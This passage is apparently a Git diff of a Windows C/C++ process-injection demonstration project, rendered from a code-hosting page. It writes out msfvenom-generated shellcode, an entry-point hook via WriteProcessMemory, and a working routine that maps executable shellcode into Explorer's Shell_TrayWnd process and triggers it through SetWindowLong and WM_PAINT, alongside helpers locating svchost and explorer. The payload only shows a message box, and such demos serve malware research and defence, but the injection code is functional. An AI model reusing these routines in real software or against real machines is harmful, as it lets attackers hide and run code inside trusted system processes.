SIZE_T writen_bytes = 0;
|
||||
if (!WriteProcessMemory(hProcess, (LPBYTE)ImageBase + ep_rva, hook_buffer, sizeof(hook_buffer) , &writen_bytes))
|
||||
{
|
||||
printf("[-] WriteProcessMemory failed, err = %d\n", GetLastError());
|
||||
return false;
|
||||
}
|
||||
|
||||
//restore the previous access rights at entry point:
|
||||
DWORD oldProtect2;
|
||||
if (!VirtualProtectEx(hProcess, (BYTE*)ImageBase + ep_rva, kHookSize, oldProtect, &oldProtect2)) {
|
||||
printf("Virtual Protect Failed!\n");
|
||||
return false;
|
||||
}
|
||||
return true;
|
||||
}
|
|
@ -0,0 +1,30 @@
|
|||
#pragma once
|
||||
|
||||
/*
|
||||
msfvenom -a x86 --platform Windows
|
||||
-p windows/messagebox
|
||||
TEXT="This is an injection demo!"
|
||||
TITLE="Injection Demo"
|
||||
-f c
|
||||
*/
|
||||
unsigned char g_Shellcode[] =
|
||||
"\xd9\xeb\x9b\xd9\x74\x24\xf4\x31\xd2\xb2\x77\x31\xc9\x64\x8b"
|
||||
"\x71\x30\x8b\x76\x0c\x8b\x76\x1c\x8b\x46\x08\x8b\x7e\x20\x8b"
|
||||
"\x36\x38\x4f\x18\x75\xf3\x59\x01\xd1\xff\xe1\x60\x8b\x6c\x24"
|
||||
"\x24\x8b\x45\x3c\x8b\x54\x28\x78\x01\xea\x8b\x4a\x18\x8b\x5a"
|
||||
"\x20\x01\xeb\xe3\x34\x49\x8b\x34\x8b\x01\xee\x31\xff\x31\xc0"
|
||||
"\xfc\xac\x84\xc0\x74\x07\xc1\xcf\x0d\x01\xc7\xeb\xf4\x3b\x7c"
|
||||
"\x24\x28\x75\xe1\x8b\x5a\x24\x01\xeb\x66\x8b\x0c\x4b\x8b\x5a"
|
||||
"\x1c\x01\xeb\x8b\x04\x8b\x01\xe8\x89\x44\x24\x1c\x61\xc3\xb2"
|
||||
"\x08\x29\xd4\x89\xe5\x89\xc2\x68\x8e\x4e\x0e\xec\x52\xe8\x9f"
|
||||
"\xff\xff\xff\x89\x45\x04\xbb\x7e\xd8\xe2\x73\x87\x1c\x24\x52"
|
||||
"\xe8\x8e\xff\xff\xff\x89\x45\x08\x68\x6c\x6c\x20\x41\x68\x33"
|
||||
"\x32\x2e\x64\x68\x75\x73\x65\x72\x30\xdb\x88\x5c\x24\x0a\x89"
|
||||
"\xe6\x56\xff\x55\x04\x89\xc2\x50\xbb\xa8\xa2\x4d\xbc\x87\x1c"
|
||||
"\x24\x52\xe8\x5f\xff\xff\xff\x68\x6d\x6f\x58\x20\x68\x6e\x20"
|
||||
"\x44\x65\x68\x63\x74\x69\x6f\x68\x49\x6e\x6a\x65\x31\xdb\x88"
|
||||
"\x5c\x24\x0e\x89\xe3\x68\x6f\x21\x58\x20\x68\x20\x64\x65\x6d"
|
||||
"\x68\x74\x69\x6f\x6e\x68\x6e\x6a\x65\x63\x68\x61\x6e\x20\x69"
|
||||
"\x68\x20\x69\x73\x20\x68\x54\x68\x69\x73\x31\xc9\x88\x4c\x24"
|
||||
"\x1a\x89\xe1\x31\xd2\x52\x53\x51\x52\xff\xd0\x31\xc0\x50\xff"
|
||||
"\x55\x08";
|
|
@ -0,0 +1,32 @@
|
|||
#include "pe_hdrs_helper.h"
|
||||
|
||||
IMAGE_NT_HEADERS32* get_nt_hrds32(BYTE *pe_buffer)
|
||||
{
|
||||
if (pe_buffer == NULL) return NULL;
|
||||
|
||||
IMAGE_DOS_HEADER *idh = (IMAGE_DOS_HEADER*)pe_buffer;
|
||||
if (idh->e_magic != IMAGE_DOS_SIGNATURE) {
|
||||
return NULL;
|
||||
}
|
||||
const LONG kMaxOffset = 1024;
|
||||
LONG pe_offset = idh->e_lfanew;
|
||||
if (pe_offset > kMaxOffset) return NULL;
|
||||
|
||||
IMAGE_NT_HEADERS32 *inh = (IMAGE_NT_HEADERS32 *)((BYTE*)pe_buffer + pe_offset);
|
||||
return inh;
|
||||
}
|
||||
|
||||
IMAGE_DATA_DIRECTORY* get_pe_directory32(PVOID pe_buffer, DWORD dir_id)
|
||||
{
|
||||
if (dir_id >= IMAGE_NUMBEROF_DIRECTORY_ENTRIES) return NULL;
|
||||
|
||||
//fetch relocation table from current image:
|
||||
PIMAGE_NT_HEADERS32 nt_headers = get_nt_hrds32((BYTE*) pe_buffer);
|
||||
if (nt_headers == NULL) return NULL;
|
||||
|
||||
IMAGE_DATA_DIRECTORY* peDir = &(nt_headers->OptionalHeader.DataDirectory[dir_id]);
|
||||
if (peDir->VirtualAddress == NULL) {
|
||||
return NULL;
|
||||
}
|
||||
return peDir;
|
||||
}
|
|
@ -0,0 +1,5 @@
|
|||
#pragma once
|
||||
#include <Windows.h>
|
||||
|
||||
IMAGE_NT_HEADERS32* get_nt_hrds32(BYTE *pe_buffer);
|
||||
IMAGE_DATA_DIRECTORY* get_pe_directory32(PVOID pe_buffer, DWORD dir_id);
|
|
@ -0,0 +1,52 @@
|
|||
#pragma once
|
||||
#include "sysutil.h"
|
||||
|
||||
#include <windows.h>
|
||||
#include <stdio.h>
|
||||
|
||||
#include "pe_hdrs_helper.h"
|
||||
|
||||
typedef BOOL(WINAPI *LPFN_ISWOW64PROCESS) (HANDLE, PBOOL);
|
||||
|
||||
bool is_compiled_32b()
|
||||
{
|
||||
if (sizeof(LPVOID) == sizeof(DWORD)) {
|
||||
return true;
|
||||
}
|
||||
return false;
|
||||
}
|
||||
|
||||
bool is_wow64()
|
||||
{
|
||||
LPFN_ISWOW64PROCESS fnIsWow64Process;
|
||||
BOOL bIsWow64 = false;
|
||||
|
||||
//IsWow64Process is not available on all supported versions of Windows.
|
||||
//Use GetModuleHandle to get a handle to the DLL that contains the function
|
||||
//and GetProcAddress to get a pointer to the function if available.
|
||||
|
||||
fnIsWow64Process = (LPFN_ISWOW64PROCESS)GetProcAddress(GetModuleHandleA("kernel32"), "IsWow64Process");
|
||||
if (fnIsWow64Process == NULL) {
|
||||
return false;
|
||||
}
|
||||
if (!fnIsWow64Process(GetCurrentProcess(), &bIsWow64)) {
|
||||
return false;
|
||||
}
|
||||
if (bIsWow64 == TRUE) {
|
||||
return true; //64 bit
|
||||
}
|
||||
return false; //32 bit
|
||||
}
|
||||
|
||||
bool is_system32b()
|
||||
{
|
||||
//is the current application 32 bit?
|
||||
if (!is_compiled_32b()) {
|
||||
return false;
|
||||
}
|
||||
//check if it is running under WoW
|
||||
if (is_wow64()) {
|
||||
return false;
|
||||
}
|
||||
return true;
|
||||
}
|
|
@ -0,0 +1,9 @@
|
|||
#pragma once
|
||||
#include <windows.h>
|
||||
|
||||
#define PAGE_SIZE 0x1000
|
||||
|
||||
bool is_compiled_32b();
|
||||
bool is_wow64();
|
||||
bool is_system32b();
|
||||
bool is_target_32bit(HANDLE hProcess, LPVOID ImageBase);
|
|
@ -0,0 +1,117 @@
|
|||
#pragma once
|
||||
#include <wchar.h>
|
||||
|
||||
void replace_param(LPWSTR cmdBuf, SIZE_T cmdBufSize, LPWSTR paramVal)
|
||||
{
|
||||
wchar_t * pwc;
|
||||
printf("--\n");
|
||||
pwc = wcsstr (cmdBuf, L"%1");
|
||||
if (pwc == NULL) return; //param not found
|
||||
|
||||
SIZE_T paramLen = wcslen(paramVal);
|
||||
SIZE_T offset = pwc - cmdBuf;
|
||||
if (offset + paramLen + 1 >= cmdBufSize) return; //no space in buffer
|
||||
|
||||
wcsncpy (pwc, paramVal, paramLen);
|
||||
|
||||
cmdBuf[offset + paramLen + 1] = NULL;
|
||||
if (offset == 0) return;
|
||||
|
||||
if (cmdBuf[offset-1] == '\"' || cmdBuf[offset-1] == '\'') {
|
||||
cmdBuf[offset + paramLen] = cmdBuf[0];
|
||||
cmdBuf[offset + paramLen + 1] = NULL;
|
||||
}
|
||||
}
|
||||
|
||||
void remove_params(LPWSTR cmdLine, SIZE_T cmdLineLen)
|
||||
{
|
||||
wchar_t * pwc;
|
||||
printf("--\n");
|
||||
|
||||
WCHAR extension[] = L".exe";
|
||||
SIZE_T extensionLen = wcslen(extension);
|
||||
pwc = wcsstr (cmdLine, extension);
|
||||
if (pwc == NULL) return;
|
||||
|
||||
SIZE_T offset = pwc - cmdLine;
|
||||
cmdLine[offset + extensionLen] = NULL;
|
||||
if (cmdLine[0] == '\"' || cmdLine[0] == '\'') {
|
||||
cmdLine[offset + extensionLen] = cmdLine[0];
|
||||
cmdLine[offset + extensionLen + 1] = NULL;
|
||||
}
|
||||
}
|
||||
|
||||
bool get_dir(LPWSTR cmdLine, OUT LPWSTR dirBuf, SIZE_T dirBufLen = MAX_PATH)
|
||||
{
|
||||
wchar_t * pwc;
|
||||
pwc = wcsrchr (cmdLine, L'\\');
|
||||
if (pwc == NULL) {
|
||||
pwc = wcsrchr (cmdLine, L'/');
|
||||
}
|
||||
if (pwc == NULL) return false;
|
||||
|
||||
SIZE_T offset = pwc - cmdLine + 1;
|
||||
if (offset >= dirBufLen) return false;
|
||||
|
||||
if (cmdLine[offset] != '\"' && cmdLine[offset] != '\'') {
|
||||
return false;
|
||||
}
|
||||
if (cmdLine[0] == '\"' || cmdLine[0] == '\'') {
|
||||
wcsncpy(dirBuf, cmdLine+1, offset-1);
|
||||
dirBuf[offset-1] = NULL;
|
||||
} else {
|
||||
wcsncpy(dirBuf, cmdLine, offset);
|
||||
dirBuf[offset + 1] = NULL;
|
||||
}
|
||||
printf("Dir: %S\n", dirBuf);
|
||||
return true;
|
||||
}
|
||||
|
||||
bool get_default_browser(LPWSTR lpwOutPath, DWORD szOutPath)
|
||||
{
|
||||
HKEY phkResult;
|
||||
DWORD iMaxLen = szOutPath;
|
||||
|
||||
LSTATUS res = RegOpenKeyEx(HKEY_CLASSES_ROOT, L"HTTP\\shell\\open\\command", 0, 1u, &phkResult);
|
||||
if (res != ERROR_SUCCESS) {
|
||||
printf("[ERROR] Failed with value = %x\n", res);
|
||||
return false;
|
||||
}
|
||||
|
||||
res = RegQueryValueEx(phkResult, NULL, NULL, NULL, (LPBYTE) lpwOutPath, (LPDWORD) &iMaxLen);
|
||||
if (res != ERROR_SUCCESS) {
|
||||
printf("[ERROR] Failed with value = %x\n", res);
|
||||
return false;
|
||||
}
|
||||
replace_param(lpwOutPath, szOutPath, L"www.google.com");
|
||||
return true;
|
||||
}
|
||||
|
||||
bool get_calc_path(LPWSTR lpwOutPath, DWORD szOutPath)
|
||||
{
|
||||
#if defined(_WIN64)
|
||||
ExpandEnvironmentStrings(L"%SystemRoot%\\SysWoW64\\calc.exe", lpwOutPath, szOutPath);
|
||||
#else
|
||||
ExpandEnvironmentStrings(L"%SystemRoot%\\system32\\calc.exe", lpwOutPath, szOutPath);
|
||||
#endif
|
||||
printf("%S\n", lpwOutPath);
|
||||
return true;
|
||||
}
|
||||
|
||||
bool get_svchost_path(LPWSTR lpwOutPath, DWORD szOutPath)
|
||||
{
|
||||
#if defined(_WIN64)
|
||||
ExpandEnvironmentStrings(L"%SystemRoot%\\SysWoW64\\svchost.exe", lpwOutPath, szOutPath);
|
||||
#else
|
||||
ExpandEnvironmentStrings(L"%SystemRoot%\\system32\\svchost.exe", lpwOutPath, szOutPath);
|
||||
#endif
|
||||
printf("%S\n", lpwOutPath);
|
||||
return true;
|
||||
}
|
||||
|
||||
bool get_explorer_path(LPWSTR lpwOutPath, DWORD szOutPath)
|
||||
{
|
||||
ExpandEnvironmentStrings(L"%windir%\\explorer.exe", lpwOutPath, szOutPath);
|
||||
printf("%S\n", lpwOutPath );
|
||||
return true;
|
||||
}
|
|
@ -0,0 +1,14 @@
|
|||
#pragma once
|
||||
|
||||
void hex_dump(unsigned char *buf, size_t buf_size)
|
||||
{
|
||||
size_t pad = 8;
|
||||
size_t col = 16;
|
||||
putchar('\n');
|
||||
for (size_t i = 0; i < buf_size; i++) {
|
||||
if (i != 0 && i % pad == 0) putchar('\t');
|
||||
if (i != 0 && i % col == 0) putchar('\n');
|
||||
printf("%02X ", buf[i]);
|
||||
}
|
||||
putchar('\n');
|
||||
}
|
|
@ -0,0 +1,115 @@
|
|||
#include "window_long_inject.h"
|
||||
|
||||
#include <stdio.h>
|
||||
|
||||
//for injection into Shell_TrayWnd
|
||||
PVOID map_code_and_addresses_into_process(HANDLE hProcess, LPBYTE shellcode, SIZE_T shellcodeSize)
|
||||
{
|
||||
HANDLE hSection = NULL;
|
||||
OBJECT_ATTRIBUTES hAttributes;
|
||||
memset(&hAttributes, 0, sizeof(OBJECT_ATTRIBUTES));
|
||||
|
||||
LARGE_INTEGER maxSize;
|
||||
maxSize.HighPart = 0;
|
||||
maxSize.LowPart = sizeof(LONG) * 2 + shellcodeSize; //we need space for the shellcode and two pointers
|
||||
NTSTATUS status = NULL;
|
||||
if ((status = ZwCreateSection( &hSection, SECTION_ALL_ACCESS, NULL, &maxSize, PAGE_EXECUTE_READWRITE, SEC_COMMIT, NULL)) != STATUS_SUCCESS)
|
||||
{
|
||||
printf("[ERROR] ZwCreateSection failed, status : %x\n", status);
|
||||
return NULL;
|
||||
}
|
||||
|
||||
PVOID sectionBaseAddress = NULL;
|
||||
ULONG viewSize = 0;
|
||||
SECTION_INHERIT inheritDisposition = ViewShare; //VIEW_SHARE
|
||||
|
||||
// map the section in context of current process:
|
||||
if ((status = NtMapViewOfSection(hSection, GetCurrentProcess(), §ionBaseAddress, NULL, NULL, NULL, &viewSize, inheritDisposition, NULL, PAGE_EXECUTE_READWRITE)) != STATUS_SUCCESS)
|
||||
{
|
||||
printf("[ERROR] NtMapViewOfSection failed, status : %x\n", status);
|
||||
return NULL;
|
||||
}
|
||||
printf("Section BaseAddress: %p\n", sectionBaseAddress);
|
||||
|
||||
//map the new section into context of opened process
|
||||
PVOID sectionBaseAddress2 = NULL;
|
||||
if ((status = NtMapViewOfSection(hSection, hProcess, §ionBaseAddress2, NULL, NULL, NULL, &viewSize, ViewShare, NULL, PAGE_EXECUTE_READWRITE)) != STATUS_SUCCESS)
|
||||
{
|
||||
printf("[ERROR] NtMapViewOfSection failed, status : %x\n", status);
|
||||
return NULL;
|
||||
}
|
||||
|
||||
LPVOID shellcode_remote_ptr = sectionBaseAddress2;
|
||||
LPVOID shellcode_local_ptr = sectionBaseAddress;
|
||||
|
||||
//the same page have double mapping - remote and local, so local modifications are reflected remotely
|
||||
memcpy (shellcode_local_ptr, shellcode, shellcodeSize);
|
||||
printf("Shellcode copied!\n");
|
||||
|
||||
LPVOID handles_remote_ptr = (BYTE*) shellcode_remote_ptr + shellcodeSize;
|
||||
LPVOID handles_local_ptr = (BYTE*) shellcode_local_ptr + shellcodeSize;
|
||||
|
||||
//store the remote addresses
|
||||
PVOID buf_va = (BYTE*) handles_remote_ptr;
|
||||
LONG hop1 = (LONG) buf_va + sizeof(LONG);
|
||||
LONG shellc_va = (LONG) shellcode_remote_ptr;
|
||||
|
||||
//fill the pointers
|
||||
memcpy((BYTE*)handles_local_ptr, &hop1, sizeof(LONG));
|
||||
memcpy((BYTE*)handles_local_ptr + sizeof(LONG), &shellc_va, sizeof(LONG));
|
||||
|
||||
//unmap from the context of current process
|
||||
ZwUnmapViewOfSection(GetCurrentProcess(), sectionBaseAddress);
|
||||
ZwClose(hSection);
|
||||
|
||||
printf("Section mapped at address: %p\n", sectionBaseAddress2);
|
||||
return shellcode_remote_ptr;
|
||||
}
|
||||
|
||||
bool inject_into_tray(LPBYTE shellcode, SIZE_T shellcodeSize)
|
||||
{
|
||||
HWND hWnd = FindWindow(L"Shell_TrayWnd", NULL);
|
||||
if (hWnd == NULL) return false;
|
||||
|
||||
DWORD pid = 0;
|
||||
GetWindowThreadProcessId(hWnd, &pid);
|
||||
printf("PID:\t%d\n", pid);
|
||||
//save the current value, because we will need to recover it:
|
||||
LONG winLong = GetWindowLongW(hWnd, 0);
|
||||
printf("WindowLong:\t%lx\n", winLong);
|
||||
|
||||
HANDLE hProcess = OpenProcess(PROCESS_VM_OPERATION | PROCESS_VM_WRITE, false, pid);
|
||||
if (hProcess == NULL) {
|
||||
return false;
|
||||
}
|
||||
|
||||
LPVOID remote_shellcode_ptr = map_code_and_addresses_into_process(hProcess, shellcode, shellcodeSize);
|
||||
if (remote_shellcode_ptr == NULL) {
|
||||
return false;
|
||||
}
|
||||
LPVOID remote_handles_ptr = (BYTE*) remote_shellcode_ptr + shellcodeSize;
|
||||
|
||||
printf("Saving handles to:\t%p\n", remote_handles_ptr);
|
||||
|
||||
//set the handle to the injected:
|
||||
SetWindowLong(hWnd, 0, (LONG) remote_handles_ptr);
|
||||
|
||||
//send signal to execute the injected code
|
||||
SendNotifyMessage(hWnd, WM_PAINT, 0, 0);
|
||||
|
||||
//procedure will be triggered on every message
|
||||
//in order to avoid repetitions, injected code should restore the previous value after the first exection
|
||||
//here we are checking if it is done
|
||||
size_t max_wait = 5;
|
||||
while (GetWindowLong(hWnd, 0) != winLong) {
|
||||
//not restored, wait more
|
||||
Sleep(100);
|
||||
if ((max_wait--) == 0) {
|
||||
//don't wait longer, restore by yourself
|
||||
SetWindowLong(hWnd, 0, winLong);
|
||||
SendNotifyMessage(hWnd, WM_PAINT, 0, 0);
|
||||
}
|
||||
}
|
||||
CloseHandle(hProcess);
|
||||
return true;
|
||||
}
|
|
@ -0,0 +1,6 @@
|
|||
#pragma once
|
||||
|
||||
#include <Windows.h>
|
||||
#include "ntddk.h"
|
||||
|
||||
bool inject_into_tray(LPBYTE shellcode, SIZE_T shellcodeSize);
|
Carregando…
Criar uma nova questão referindo esta